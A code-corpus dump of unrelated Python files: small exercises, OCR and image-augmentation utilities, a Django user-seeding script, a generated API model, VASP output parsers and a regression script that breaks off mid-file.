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f579687df495370d1c6f2cfa5b06f9ce6c5641fb | 02239bd9dc0d78fd3d6b2dd9d91e2ad45d7e982a | /guess_number.py | bdcb6f3c119cc70512d4e1801bbb37578cffe08c | [] | no_license | oupofat/lesson-2.1 | 76d0a8f132dd773360b840e8a6cc412aec0a4caf | 4e6b23d744b8421a53024b7dddcb981255e2d00c | refs/heads/master | 2021-05-01T21:18:13.772513 | 2018-02-10T02:20:18 | 2018-02-10T02:20:18 | 120,976,540 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 698 | py | '''Guess A Number Game
You will write a guess-a-number game, where the player repeatedly guesses numbers between 1 to 10 until they guess your secret number. You will implement this game in these stages:
Stage 1
Create a secret variable and set its value to your secret number --- pick a number between 1 and 10. Use a while loop to repeatedly ask the player for a guess. If the guess matches the secret number, print "You win!", and end the loop. If the guess is wrong, print "Wrong! Try again: " and ask for another guess.'''
secret_number = 6
guess = int(input("guess a number"))
while guess != secret_number:
print("wrong")
guess = int(input("Pick again"))
print("You win") | [
"[email protected]"
] | |
d24a445bdcdc3eae3a08604a2725105f20c6ab48 | 73c690a083709e87819505bfffd2ee74129ede3e | /flaskapp/analysis/utils/text_utils.py | 00b5162da3c2116de340ba0c06f6da649cab71a6 | [] | no_license | wing-yiu/my-first-website | 3da6db791ca695e133fdde6b31006751d6485f1e | 2de453f2ed50afadb0f5c468bec7e19f18ce2641 | refs/heads/master | 2020-03-24T16:12:29.738223 | 2019-05-09T16:12:10 | 2019-05-09T16:12:10 | 142,816,653 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,527 | py | from typing import List, Text
import re
def process_text(text_chunks: List[Text]) -> Text:
"""
Given text chunks from image OCR results, apply
preprocessing steps (lowercase, remove symbols etc.)
and convert it into a single string
:param text_chunks: string
"""
text = ' '.join(text_chunks)
text = re.sub('\n', '', text)
text = re.sub('[^a-zA-Z0-9]', '', text)
return text.lower()
def extract_mrz_from_chunks(text_chunks: List[Text]) -> Text:
"""
Given text chunks from image OCR results, extract
the chunk that is most likely to be an MRZ and apply
preprocessing steps (lowercase, remove symbols etc.)
:param text_chunks: list of text
"""
# the chunk with most number of '<' is most likely to be MRZ
text = max(text_chunks, key=lambda chunk: chunk.count('<'))
text = re.sub('[^<a-zA-Z0-9]', '', text)
return text.lower()
def extract_mrz_from_pairs(text_chunks: List[Text]) -> Text:
"""
Given the special case where pytesseract recognises the MRZ
as two separate chunks (usually consecutive), we split
the chunks into pairs and find the pair that is most likely to
contain the MRZ
:param text_chunks: list of text
"""
# ['a', 'b', 'c', 'd', 'e'] -> ['ab', 'bc', 'cd', 'de']
# from the merged pairs, we guess which is most likely to contain MRZ
text_chunks = list(filter(None, text_chunks))
pairs = [a + b for a, b in zip(text_chunks, text_chunks[1:])]
return extract_mrz_from_chunks(pairs)
| [
"[email protected]"
] | |
4fe6f81fd9b24ba3d783802fa3a7ba2fcbd439b5 | ca5bc44c9fffc1a167876eeb3042664fb299d306 | /20-10-14-revrot/python/__main__.py | 1f4cf6a14d675baff1566feba16b3fdc4f71d90b | [
"MIT"
] | permissive | stogacs/cscex | 954acb9dc5e8c899e6435f3c94107f5c9abd4ed1 | 40e3bca8bebc4ee8275d26185cae6f33a8bafcd6 | refs/heads/master | 2023-07-18T05:36:07.091100 | 2021-08-27T02:07:41 | 2021-08-27T02:07:41 | 216,451,464 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 884 | py | import unittest
def revrot(s: str, sz: int) -> str:
# Your implementation here!
pass
# Below are tests!
class Tests(unittest.TestCase):
# tests: ((string, chunk size), correct answer)
cases = [(('123456987654', 6), '234561876549'),
(('123456987653', 6), '234561356789'),
(('66443875', 4), '44668753'),
(('66443875', 8), '64438756'),
(('664438769', 8), '67834466'),
(('123456779', 8), '23456771'),
(('', 8), ''),
(('123456779', 0), ''),
(('563000655734469485', 4), '0365065073456944')]
def test(self):
for (s, sz), answer in self.cases:
self.run_test(s, sz, answer)
def run_test(self, s: str, sz: int, answer: str):
res = revrot(s, sz)
self.assertEqual(res, answer)
if __name__ == '__main__':
unittest.main()
| [
"[email protected]"
] | |
b2238c30b49d33184d3abcc4dacc1d411fbba643 | 04a16c1172389412f296ae1f1d6e3badeda5baca | /web-backends/web/service/api/init_user.py | f9c01f72c4a297063b4fb4d0d2607fc066bea5ef | [] | no_license | premepen/pen-stool | f425544aebb9de45a07a193ee0009b75fa17e4ba | 23847d0cca809fe3930b44fc15563f37937a151f | refs/heads/master | 2020-05-15T10:42:53.147930 | 2019-04-19T06:02:59 | 2019-04-19T06:02:59 | 182,198,944 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 1,954 | py | # coding:utf-8
from datetime import datetime
from django.contrib.auth.models import User
from service.models import UserProfile
UserInfos = [
# dict(username="admin003", password="112233..", email="[email protected]", identity="SuperManager", truename="夜神月"),
dict(username="admin001", password="112233..", email="[email protected]", identity="NetworkManager", truename="用户001"),
dict(username="admin002", password="112233..", email="[email protected]", identity="NetworkManager", truename="用户002"),
dict(username="mg001", password="112233..", email="[email protected]", identity="Manager", truename="用户006"),
]
def delete_all_users():
for up in UserProfile.objects.all():
if up.user.username in ["admin007"]:
UserProfile.objects.filter(user=User.objects.get(username=up.user.username)).update(
truename="超级管理员",
identity="SuperManager")
up.save()
User.objects.filter(username=up.user.username).update(email="[email protected]")
else:
up.delete()
try:
User.objects.all().delete()
except:
pass
def init_users():
import logging
logger = logging.getLogger('collect')
delete_all_users()
logger.debug("删除所有用户")
for user_info in UserInfos:
if user_info["username"] in [x.username for x in User.objects.all()]:
logger.info("已经存在User对象 " + user_info["username"])
continue
user = User(username=user_info["username"], password=user_info["password"], email=user_info["email"])
user.set_password(user_info["password"])
user.last_login = datetime.now()
user.save()
up = UserProfile(user=user, identity=user_info["identity"], passwd=user_info["password"], truename=user_info["truename"])
up.save()
logger.info("创建了User对象 " + user_info["username"])
| [
"meigea@[email protected]"
] | meigea@[email protected] |
4d5deb7f277509a6a9f833abf735f575466b58d0 | 57e30a59f2924240251ae1842d8fd1bdde29fa0a | /main/generate_blue_plate.py | 3a8d169e547af1212f9de453fa29fed1fce44321 | [
"MIT"
] | permissive | Minionyh/plate_generator | f99b8361acf43f2940a084c0fcfd574c4ccbc1d1 | cbea92aff070a8691a0394263e8f4b20b3f2c839 | refs/heads/master | 2022-11-05T11:30:42.891742 | 2020-06-22T09:25:18 | 2020-06-22T09:25:18 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 5,507 | py | # encoding="utf-8"
import os
import cv2
import numpy as np
import random
import math
from PIL import Image, ImageDraw
'''
随机抽取一张汽车背景图片，随机选择一张生成的车牌，将生成的车牌贴在汽车背景图片上，增加干扰线、干扰点、随机旋转和切边等，增加生成车牌的真实性
'''
# 颜色的算法是，产生一个基准，然后RGB上下浮动FONT_COLOR_NOISE
MAX_FONT_COLOR = 100 # 最大的可能颜色
FONT_COLOR_NOISE = 10 # 最大的可能颜色
POSSIBILITY_RESIZE = 0.5 # 图像压缩的比例
POSSIBILITY_ROTATE = 0.7 # 图像旋转的比例
POSSIBILITY_INTEFER = 0.8 # 需要被干扰的图片比例，包括干扰线和点
INTERFER_LINE_NUM = 10 # 最多干扰线
INTERFER_LINE_WIGHT = 2
INTERFER_POINT_NUM = 10 # 最多干扰点
MAX_WIDTH_HEIGHT = 15 # 最大切边
MIN_WIDTH_HEIGHT = 0 # 最小切边
ROTATE_ANGLE = 5 # 最大旋转角度
# 随机接受概率
def _random_accept(accept_possibility):
return np.random.choice([True,False], p=[accept_possibility,1 - accept_possibility])
def _get_random_point(x_scope,y_scope):
x1 = random.randint(0,x_scope)
y1 = random.randint(0,y_scope)
return x1, y1
# 产生随机颜色
def _get_random_color():
base_color = random.randint(0, MAX_FONT_COLOR)
noise_r = random.randint(0, FONT_COLOR_NOISE)
noise_g = random.randint(0, FONT_COLOR_NOISE)
noise_b = random.randint(0, FONT_COLOR_NOISE)
noise = np.array([noise_r,noise_g,noise_b])
font_color = (np.array(base_color) + noise).tolist()
return tuple(font_color)
# 画干扰线
def randome_intefer_line(img,possible,line_num,weight):
if not _random_accept(possible): return
w,h = img.size
draw = ImageDraw.Draw(img)
line_num = random.randint(0, line_num)
for i in range(line_num):
x1, y1 = _get_random_point(w,h)
x2, y2 = _get_random_point(w,h)
_weight = random.randint(0, weight)
draw.line([x1,y1,x2,y2],_get_random_color(),_weight)
del draw
def show(img, title='无标题'):
"""
本地测试时展示图片
:param img:
:param name:
:return:
"""
import matplotlib.pyplot as plt
from matplotlib.font_manager import FontProperties
font = FontProperties(fname='/Users/yanmeima/workspace/ocr/crnn/data/data_generator/fonts/simhei.ttf')
plt.title(title, fontsize='large', fontweight='bold', FontProperties=font)
plt.imshow(img)
plt.show()
def rotate_bound(plate, background_image, possible):
r = random.sample(range(MIN_WIDTH_HEIGHT, MAX_WIDTH_HEIGHT), 2)
if not _random_accept(possible):
background_image.paste(plate, (r[0], r[1]))
else:
plate_con = plate.convert("RGBA")
p = Image.new('RGBA', (500, 200))
p.paste(plate_con, (10, 10))
angle = random.randrange(-ROTATE_ANGLE, ROTATE_ANGLE)
plate_r = p.rotate(angle)
r, g, b, a = plate_r.split()
background_image.paste(plate_r, (4, 0), mask=a)
return background_image
def image_resize(image, possible):
if not _random_accept(possible): return image
w, h = image.size
image = image.resize((int(w / 2), int(h / 2)), Image.ANTIALIAS)
return image
def main(bg_path, plate_path, data_txt_path, generator_path, generator_txt):
files = os.listdir(bg_path)
i = 0
for file in os.listdir(data_txt_path):
txt_path = os.path.join(data_txt_path + file)
with open(txt_path, "r", encoding='utf-8') as f:
label = f.readline()
image = Image.open(os.path.join(plate_path + file[:-4] + '.jpg'))
# 在整张图上产生干扰点和线
randome_intefer_line(image, POSSIBILITY_INTEFER, INTERFER_LINE_NUM, INTERFER_LINE_WIGHT)
# 随机抽取汽车背景图片
file = np.random.choice(files)
background_image = Image.open(os.path.join(bg_path + file))
# 旋转
background_image = rotate_bound(image, background_image, POSSIBILITY_ROTATE)
# 压缩车牌
background_image = image_resize(background_image, POSSIBILITY_RESIZE)
i += 1
path = os.path.join(generator_path + str(i) + ".jpg")
background_image.save(path)
plate_txt = os.path.join(generator_txt + str(i) + ".txt")
with open(plate_txt, "w", encoding='utf-8') as f1:
f1.write(str(label))
if __name__ == "__main__":
bg_path = "data/bg/" # 汽车背景图片路径
plate_path = "data/data/" # 生成原始车牌路径
data_txt_path = "data/data_txt/" # 生成原始车牌标签路径
generator_path = "data/plate/" # 生成样本车牌路径
generator_txt = "data/plate_txt/" # 生成样本车牌标签路径
main(bg_path, plate_path, data_txt_path, generator_path, generator_txt)
print("处理完成")
## 测试
# if __name__ == "__main__":
# path = "multi_val/bg/"
# files = os.listdir(path)
# file = np.random.choice(files)
# background_image = Image.open(os.path.join(path + file))
# plate = Image.open("multi_val/data/云QF5H7P_blue_False.jpg")
#
# plate_con = plate.convert("RGBA")
# p = Image.new('RGBA', (500, 200))
# p.paste(plate_con, (10, 10))
# plate_r = p.rotate(-5)
#
# r, g, b, a = plate_r.split()
# background_image.paste(plate_r, (4, 0), mask=a)
# background_image.save("multi_val/newImg.png", "PNG") | [
"[email protected]"
] | |
7442b645351223a7e579a1c48f2f42ff4a293348 | 4809471274d6e136ac66d1998de5acb185d1164e | /pypureclient/flasharray/FA_2_7/models/policy_rule_snapshot_post.py | 84d29e372221653e09d61b36a969342cb025149e | [
"BSD-2-Clause"
] | permissive | astrojuanlu/py-pure-client | 053fef697ad03b37ba7ae21a0bbb466abf978827 | 6fa605079950765c316eb21c3924e8329d5e3e8a | refs/heads/master | 2023-06-05T20:23:36.946023 | 2021-06-28T23:44:24 | 2021-06-28T23:44:24 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 3,241 | py | # coding: utf-8
"""
FlashArray REST API
No description provided (generated by Swagger Codegen https://github.com/swagger-api/swagger-codegen)
OpenAPI spec version: 2.7
Generated by: https://github.com/swagger-api/swagger-codegen.git
"""
import pprint
import re
import six
import typing
from ....properties import Property
if typing.TYPE_CHECKING:
from pypureclient.flasharray.FA_2_7 import models
class PolicyRuleSnapshotPost(object):
"""
Attributes:
swagger_types (dict): The key is attribute name
and the value is attribute type.
attribute_map (dict): The key is attribute name
and the value is json key in definition.
"""
swagger_types = {
'rules': 'list[PolicyrulesnapshotpostRules]'
}
attribute_map = {
'rules': 'rules'
}
required_args = {
}
def __init__(
self,
rules=None, # type: List[models.PolicyrulesnapshotpostRules]
):
"""
Keyword args:
rules (list[PolicyrulesnapshotpostRules]): A list of snapshot policy rules to create.
"""
if rules is not None:
self.rules = rules
def __setattr__(self, key, value):
if key not in self.attribute_map:
raise KeyError("Invalid key `{}` for `PolicyRuleSnapshotPost`".format(key))
self.__dict__[key] = value
def __getattribute__(self, item):
value = object.__getattribute__(self, item)
if isinstance(value, Property):
raise AttributeError
else:
return value
def to_dict(self):
"""Returns the model properties as a dict"""
result = {}
for attr, _ in six.iteritems(self.swagger_types):
if hasattr(self, attr):
value = getattr(self, attr)
if isinstance(value, list):
result[attr] = list(map(
lambda x: x.to_dict() if hasattr(x, "to_dict") else x,
value
))
elif hasattr(value, "to_dict"):
result[attr] = value.to_dict()
elif isinstance(value, dict):
result[attr] = dict(map(
lambda item: (item[0], item[1].to_dict())
if hasattr(item[1], "to_dict") else item,
value.items()
))
else:
result[attr] = value
if issubclass(PolicyRuleSnapshotPost, dict):
for key, value in self.items():
result[key] = value
return result
def to_str(self):
"""Returns the string representation of the model"""
return pprint.pformat(self.to_dict())
def __repr__(self):
"""For `print` and `pprint`"""
return self.to_str()
def __eq__(self, other):
"""Returns true if both objects are equal"""
if not isinstance(other, PolicyRuleSnapshotPost):
return False
return self.__dict__ == other.__dict__
def __ne__(self, other):
"""Returns true if both objects are not equal"""
return not self == other
| [
"[email protected]"
] | |
137ffd59156db4e492205f3e0ce459f70c3496ad | 18b2d01779f735594b425c74dbe33fc9b6a7cd3d | /src/vaspfile.py | d6c081cf6ac0d286b1823c2284a49a43bd4c7d5e | [] | no_license | mjritz/GridDFT | 3621a35cb2f8500904be50f01ad8271c54331d9e | 2071e853ce2433f91e477097e449fe111c5afaf9 | refs/heads/master | 2020-03-22T04:38:33.346011 | 2019-07-09T17:16:09 | 2019-07-09T17:16:09 | 139,511,102 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 11,395 | py | import numpy as np
import copy
import string
import sys
def readvasp_outcar(filename):
forcexyz=[]
xyz=[]
final_energy=0
opt_done=False
coord_done=False
f=open(filename,'r')
vasp_outcar=f.readlines()
i=np.size(vasp_outcar)-1
#find the stationary point coordinates in the file
while i > 0:
if vasp_outcar[i].strip().startswith('POSITION'):
#skip i ahead to coordinates
if coord_done: break
coord_start=copy.copy(i)+2
coord_done=True
i-=1
i=np.size(vasp_outcar)-1
while i > 0:
if vasp_outcar[i].strip().startswith('free energy TOTEN'):
final_energy=float(vasp_outcar[i].split()[4])
i-=1
#read coordinates
i=coord_start
while i <= np.size(vasp_outcar):
if vasp_outcar[i].strip().startswith('--'):break
xyz.append(vasp_outcar[i].split()[0:3])
i+=1
#read forces
i=coord_start
while i <= np.size(vasp_outcar):
if vasp_outcar[i].strip().startswith('--'):break
forcexyz.append(vasp_outcar[i].split()[3:6])
i+=1
#f.close()
#read lattice vectors
i=np.size(vasp_outcar)-1
while i > 0:
if vasp_outcar[i].strip().startswith('A1'):
A1xx=str(((vasp_outcar[i].split()[3])))
A1x=float(A1xx[:9])
A1yy=str(vasp_outcar[i].split()[4])
A1y=float(A1yy[:10])
A1zz=str(vasp_outcar[i].split()[5])
A1z=float(A1zz[:10])
A2xx=str(vasp_outcar[i+1].split()[3])
A2x=float(A2xx[:10])
A2yy=str(vasp_outcar[i+1].split()[4])
A2y=float(A2yy[:10])
A2zz=str(vasp_outcar[i+1].split()[5])
A2z=float(A2zz[:10])
A3xx=str(vasp_outcar[i+2].split()[3])
A3x=float(A3xx[:10])
A3yy=str(vasp_outcar[i+2].split()[4])
A3y=float(A3yy[:10])
A3zz=str(vasp_outcar[i+2].split()[5])
A3z=float(A3zz[:10])
i-=1
x_periodic = abs(np.array([A1x, A1y, A1z]))
y_periodic =abs(np.array([A2x, A2y, A2z]))
z_periodic = abs(np.array([A3x, A3y, A3z]))
return np.array(xyz), np.array(forcexyz,float), y_periodic, x_periodic, z_periodic, final_energy
def readvasp_poscar(filename):
f=open(filename,'r')
vasp_poscar=f.readlines()
j=np.size(vasp_poscar)-1
xyz_old=[]
x_vector=[]
y_vector=[]
z_vector=[]
atnames=[]
atnumbers=[]
atom_name_array=[]
while j > 0:
if vasp_poscar[j].strip().startswith('Cartesian'):
old_coord_start=copy.copy(j)+1
j-=1
j=np.size(vasp_poscar)-1
while j > 0:
if vasp_poscar[j].strip().startswith('Direct'):
old_coord_start=copy.copy(j)+1
j-=1
atnames.append(vasp_poscar[5].split())
atnames_array=np.array(atnames).T
atnumbers.append(vasp_poscar[6].split())
atnumber_array=np.array(atnumbers,dtype=int).T
x_vector.append(vasp_poscar[2].split()[0:3])
x_array=(np.array(x_vector, dtype=float)).T
y_vector.append(vasp_poscar[3].split()[0:3])
y_array=np.array(y_vector,dtype=float).T
z_vector.append(vasp_poscar[4].split()[0:3])
z_array=np.array(z_vector, dtype=float).T
for i in range(np.size(atnames)):
for j in range(atnumber_array[i]):
atom_name_array.append(atnames_array[i])
#read old coordinates
i=old_coord_start
while i <= np.size(vasp_poscar):
if vasp_poscar[i].strip()=='':break
xyz_old.append(vasp_poscar[i].split()[0:3])
i+=1
return atnames_array, atom_name_array, np.array(xyz_old)
def makeinput(template_filename,filename,xyz,z_frozen):
#read in template
f_template=open(template_filename,'r')
f=open(filename,'w')
packmol_template=string.Template(f_template.read())
#make formated xyz string
coord_str=""
for (i, (x,y,z)) in enumerate(xyz):
if z >z_frozen:
coord_str += "%15.5f%15.5f%15.5f %s %s %s\n" % (x, y, z, 'T', 'T', 'T')
if z <z_frozen:
coord_str += "%15.5f%15.5f%15.5f %s %s %s\n" % (x, y, z, 'F', 'F', 'F')
input_str=packmol_template.substitute({'coordinates':coord_str})
f.write(input_str)
f.close()
f_template.close()
#SPECIFIC TO BUILDING A SURFACE GRID.
def ligand_vector(molecule_filename):
f = open(molecule_filename, 'r')
vasp_poscar=f.readlines()
j=np.size(vasp_poscar)-1
ligands=[]
x_vector=[]
y_vector=[]
z_vector=[]
atnames=[]
atnumbers=[]
#Determine line to start reading coordinates
while j>0:
if vasp_poscar[j].strip().startswith('Direct'):
molecule_atoms_start=copy.copy(j)+1
j-=1
atnames.append(vasp_poscar[5].split())
atnumbers.append(vasp_poscar[6].split())
x_vector.append(vasp_poscar[2].split()[0:3])
x_array=(np.array(x_vector, dtype=float)).T
y_vector.append(vasp_poscar[3].split()[0:3])
y_array=np.array(y_vector,dtype=float).T
z_vector.append(vasp_poscar[4].split()[0:3])
z_array=np.array(z_vector, dtype=float).T
#Read in coordinates for Precursor
i=molecule_atoms_start
while i<=np.size(vasp_poscar):
if vasp_poscar[i].strip()=='':break
ligands.append(vasp_poscar[i].split()[0:3])
i+=1
#Convert direct coordinates to cartesian using CONTCAR
ligand_array_direct=np.array(ligands,dtype=float)
ligand_array_cartesian=np.zeros_like(ligand_array_direct,dtype=float)
for i in range(ligand_array_direct.shape[0]):
ligand_array_cartesian[i,0]=(ligand_array_direct[i,0]*x_array[0,0])+(ligand_array_direct[i,0]*x_array[1,0])+(ligand_array_direct[i,0]*x_array[2,0])
ligand_array_cartesian[i,1]=(ligand_array_direct[i,1]*y_array[0,0])+(ligand_array_direct[i,1]*y_array[1,0])+(ligand_array_direct[i,1]*y_array[2,0])
ligand_array_cartesian[i,2]=(ligand_array_direct[i,2]*z_array[0,0])+(ligand_array_direct[i,2]*z_array[1,0])+(ligand_array_direct[i,2]*z_array[2,0])
#Set up center molecule as first set of coordinates
center_ligand=ligand_array_cartesian[0]
ligand_vectors=np.zeros([ligand_array_cartesian.shape[0]-1, 3])
#create array with ligand vectors from center molecule
for i in range(ligand_array_cartesian.shape[0]-1):
ligand_vectors[i]=ligand_array_cartesian[i+1]-ligand_array_cartesian[0]
return ligand_vectors
def precursor_grid_build(surface_filename, grid_size,distance_from_surface):
f = open(surface_filename, 'r')
vasp_poscar=f.readlines()
j=np.size(vasp_poscar)-1
x_vector=[]
y_vector=[]
z_vector=[]
surface=[]
atnames=[]
atnumbers=[]
#Determine line to start reading coordinates
while j>0:
if vasp_poscar[j].strip().startswith('Direct'):
surface_atoms_start=copy.copy(j)+1
j-=1
atnames.append(vasp_poscar[5].split())
atnumbers.append(vasp_poscar[6].split())
x_vector.append(vasp_poscar[2].split()[0:3])
x_array=(np.array(x_vector, dtype=float)).T
y_vector.append(vasp_poscar[3].split()[0:3])
y_array=np.array(y_vector,dtype=float).T
z_vector.append(vasp_poscar[4].split()[0:3])
z_array=np.array(z_vector, dtype=float).T
#Read in coordinates for Surface
i=surface_atoms_start
while i<=np.size(vasp_poscar):
if vasp_poscar[i].strip()=='':break
surface.append(vasp_poscar[i].split()[0:3])
i+=1
#Convert direct coordinates to cartesian using CONTCAR
surface_array_direct=np.array(surface,dtype=float)
surface_array_cartesian=np.zeros_like(surface_array_direct,dtype=float)
for i in range(surface_array_direct.shape[0]):
surface_array_cartesian[i,0]=(surface_array_direct[i,0]*x_array[0,0])+(surface_array_direct[i,0]*x_array[1,0])+(surface_array_direct[i,0]*x_array[2,0])
surface_array_cartesian[i,1]=(surface_array_direct[i,1]*y_array[0,0])+(surface_array_direct[i,1]*y_array[1,0])+(surface_array_direct[i,1]*y_array[2,0])
surface_array_cartesian[i,2]=(surface_array_direct[i,2]*z_array[0,0])+(surface_array_direct[i,2]*z_array[1,0])+(surface_array_direct[i,2]*z_array[2,0])
#Create Grid with N coordinates at set Z value
Max_Z_coordinate=np.max(surface_array_cartesian[:,2])
Z_Grid_Value=Max_Z_coordinate+distance_from_surface
x = np.linspace(0,1,num=grid_size, endpoint=False)
y = np.linspace(0,1,num=grid_size, endpoint=False)
gridx,gridy=np.meshgrid(x,y)
Grid_Array=np.zeros([grid_size**2,3],float)
for i in range(Grid_Array.shape[0]):
Grid_Array[i,2]=Z_Grid_Value
i=0
#for i in range(grid_array.shape[0]):
for k in range(grid_size):
for j in range(grid_size):
Grid_Array[i,0]=(gridx[j,k]*x_array[0,0])+(gridx[j,k]*x_array[1,0])+(gridx[j,k]*x_array[2,0])
i+=1
i=0
#for i in range(grid_array.shape[0]):
for k in range(grid_size):
for j in range(grid_size):
Grid_Array[i,1]=(gridy[j,k]*y_array[0,0])+(gridy[j,k]*y_array[1,0])+(gridy[j,k]*y_array[2,0])
i+=1
return surface_array_cartesian,Grid_Array
def PES_geom_build(surface_array_cartesian, Grid_Array, ligand_vectors, precursor_atom_name, surface_atom_name):
precursor=np.zeros([Grid_Array.shape[0], ligand_vectors.shape[0]+1, 4])
poscar_atoms=np.concatenate([precursor_atom_name, surface_atom_name])
a,b=np.unique(poscar_atoms,return_inverse=True)
c=np.array(b)
for i in range(Grid_Array.shape[0]):
for j in range(ligand_vectors.shape[0]+1):
if j==0:
precursor[i,j,:] =[c[j],Grid_Array[i,0], Grid_Array[i,1], Grid_Array[i,2]]
else:
precursor[i,j,:]=[c[j],Grid_Array[i,0]+ligand_vectors[j-1,0],Grid_Array[i,1]+ligand_vectors[j-1,1],Grid_Array[i,2]+ligand_vectors[j-1,2]]
#PA = poscar_atoms[0:ligand_vectors.shape[0]]
#SA = poscar_atoms[ligand_vectors.shape[0]+1:c.size]
SA_1=c[ligand_vectors.shape[0]+1:c.size]
SA=np.transpose(SA_1)
Surface_Coord_Name=np.column_stack((SA,surface_array_cartesian))
#creates tuple with size of [grid_shape^2, surface + precursor atoms, 4]
PES_Geom = np.zeros([Grid_Array.shape[0], poscar_atoms.shape[0], 4])
PES_Geometry=np.zeros([Grid_Array.shape[0], poscar_atoms.shape[0], 3])
for i in range(Grid_Array.shape[0]):
PES_Geom[i]=np.concatenate((precursor[i],Surface_Coord_Name),0)
PES_Geom[i]=PES_Geom[i][PES_Geom[i,:,0].argsort()]
PES_Geometry[i]=np.delete(PES_Geom[i], 0,axis=1)
return PES_Geometry
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cd8cc0f942099185285d0dd73b4c1c6706e8e60e | ee4130d915a66181f3c5cd74b78312a2319f0650 | /beam_state.py | 43d6bd06688d6ffcd20e4a56ef0cc8071728f520 | [] | no_license | alexe1ka/hrm_test_task | d2945cf6b122fb3eb29664c8e7e683555138e3fd | 5ab414df1a47b466382daa20c3f54c6af83ad2d6 | refs/heads/master | 2020-12-31T21:57:22.436642 | 2020-02-10T08:58:51 | 2020-02-10T08:58:51 | 239,042,900 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 656 | py | class BeamState:
"information about the beams at specific time-step"
def __init__(self):
self.entries = {}
def norm(self):
"length-normalise LM score"
for (k, _) in self.entries.items():
labelingLen = len(self.entries[k].labeling)
self.entries[k].prText = self.entries[k].prText ** (1.0 / (labelingLen if labelingLen else 1.0))
def sort(self):
"return beam-labelings, sorted by probability"
beams = [v for (_, v) in self.entries.items()]
sortedBeams = sorted(beams, reverse=True, key=lambda x: x.prTotal * x.prText)
return [x.labeling for x in sortedBeams]
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eee346b98c2726facf971db72ef2c5d6be0a7ee9 | 9ea4e1d14243a7864d99d9835cb5609b06f9b176 | /ex8_4.py | 1c8d2234ed904d7b3d8125a3444023535705f024 | [] | no_license | sandeepkundala/Python-for-Everybody---Exploring-Data-in-Python-3-Exercise-solutions | 30b81d50e2afe68e24baa524e5ba25248ef7bdef | 520330058224aef155d02f443a31d18c0bc4020b | refs/heads/master | 2021-05-02T05:03:21.530979 | 2018-02-09T17:44:11 | 2018-02-09T17:44:11 | 120,913,613 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 472 | py | # Chapter 8
# Exercise 4: Write a program to open the file romeo.txt and read it line by line. For each line,
# split the line into a list of words using the split function.
# For each word, check to see if the word is already in a list. If the word is not in
# the list, add it to the list.
fh = input('Enter file: ')
fopen = open(fh)
word = []
for line in fopen:
words = line.split()
for s in words:
word.append(s)
word.sort()
print(word)
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86486ffa66928213a486bb1603bf1d7d8886b948 | 61179dd70724ea2d60f280b3f4a5b77e7f7c3dee | /max/regression.py | bc9bcfee459bee34a8c048ed02dd642a67d9b377 | [
"MIT"
] | permissive | maxisacson/sml-project | cc250c3f90b85788c879cdcc0229baaa5b6e42a7 | f4ba04053e178854abd84eea49ae7244a43f0483 | refs/heads/master | 2021-01-10T07:29:13.364541 | 2016-04-21T17:00:07 | 2016-04-21T17:00:07 | 54,034,654 | 0 | 2 | null | 2016-04-21T14:14:19 | 2016-03-16T13:35:09 | Python | UTF-8 | Python | false | false | 4,715 | py | #!/usr/bin/env python3
import sys
import traceback
import matplotlib.pyplot as plt
import pandas as pd
import scipy as sp
from sklearn.kernel_ridge import KernelRidge
from sklearn.gaussian_process import GaussianProcess
from sklearn.svm import SVR, NuSVR, LinearSVR
from sklearn.cross_validation import KFold
from sklearn.feature_selection import SelectKBest, f_regression
pd.set_option('display.max_columns', 500)
def getData(datafile):
ds = pd.read_csv(datafile)
return ds
def main(argv):
datafile = "../test/mg5pythia8_hp200.root.test3.csv"
try:
datafile = argv[1]
except IndexError:
pass
ds = getData(datafile)
ds.fillna(-999.)
predictors = sp.array([
"et(met)", "phi(met)",
#"nbjet", "njet",
"pt(reco tau1)", "eta(reco tau1)", "phi(reco tau1)", "m(reco tau1)",
"pt(reco bjet1)", "eta(reco bjet1)", "phi(reco bjet1)", "m(reco bjet1)",
"pt(reco jet1)", "eta(reco jet1)", "phi(reco jet1)", "m(reco jet1)",
"pt(reco jet2)", "eta(reco jet2)", "phi(reco jet2)", "m(reco jet2)",
], dtype=str)
target = "pt(mc nuH)"
#target = "m(true h+)"
ds["m(true h+)"] = sp.sqrt(
2*(ds["pt(mc nuH)"])
*(ds["pt(mc tau)"])
*(sp.cosh(ds["eta(mc nuH)"] - ds["eta(mc tau)"])
- sp.cos(ds["phi(mc nuH)"] - ds["phi(mc tau)"])
)
)
selector = SelectKBest(score_func=f_regression, k=5)
selector.fit(ds[predictors], ds[target])
ind = selector.get_support(indices=True)
final_predictors = predictors[ind]
print(final_predictors)
ds = ds[:1000]
folds = KFold(ds.shape[0], n_folds=3, random_state=123)
models = {}
models["gp"] = GaussianProcess(theta0=1e-2, thetaL=1e-4, thetaU=1e-1, nugget=1e-1)
models["krr"] = KernelRidge(kernel='linear')
models["svr"] = SVR(kernel='rbf', gamma=0.001, C=1e5)
models["nusvr"] = NuSVR(kernel='linear')
models["linearsvr"] = LinearSVR(C=1e1, loss='epsilon_insensitive',
max_iter=1e4, verbose=True, tol=1e-1)
model = models["gp"]
predictions = []
try:
for train, test in folds:
training_sample = ds[final_predictors].iloc[train, :]
target_sample = ds[target].iloc[train]
testing_sample = ds[final_predictors].iloc[test, :]
model.fit(training_sample, target_sample)
pred = model.predict(testing_sample)
predictions.append(pred)
except MemoryError as e:
print("MemoryError")
type_, value_, traceback_ = sys.exc_info()
traceback.print_tb(traceback_)
sys.exit(1)
except Exception as e:
print("Unexpected exception")
print(e)
type_, value_, traceback_ = sys.exc_info()
traceback.print_tb(traceback_)
sys.exit(2)
predictions = sp.concatenate(predictions, axis=0)
t = sp.array(ds[target], dtype=float)
met = sp.array(ds["et(met)"], dtype=float)
resolution = (predictions - t)*100/t
resolution_met = (met - t)*100/t
print("")
print("Prediction resolution: mean (sigma): {} ({})"
.format(resolution.mean(),
resolution.std()))
print("MET resolution: mean (sigma): {} ({})"
.format(resolution_met.mean(),
resolution_met.std()))
bins = sp.linspace(0, 400, 50)
plt.subplot(2, 3, 1)
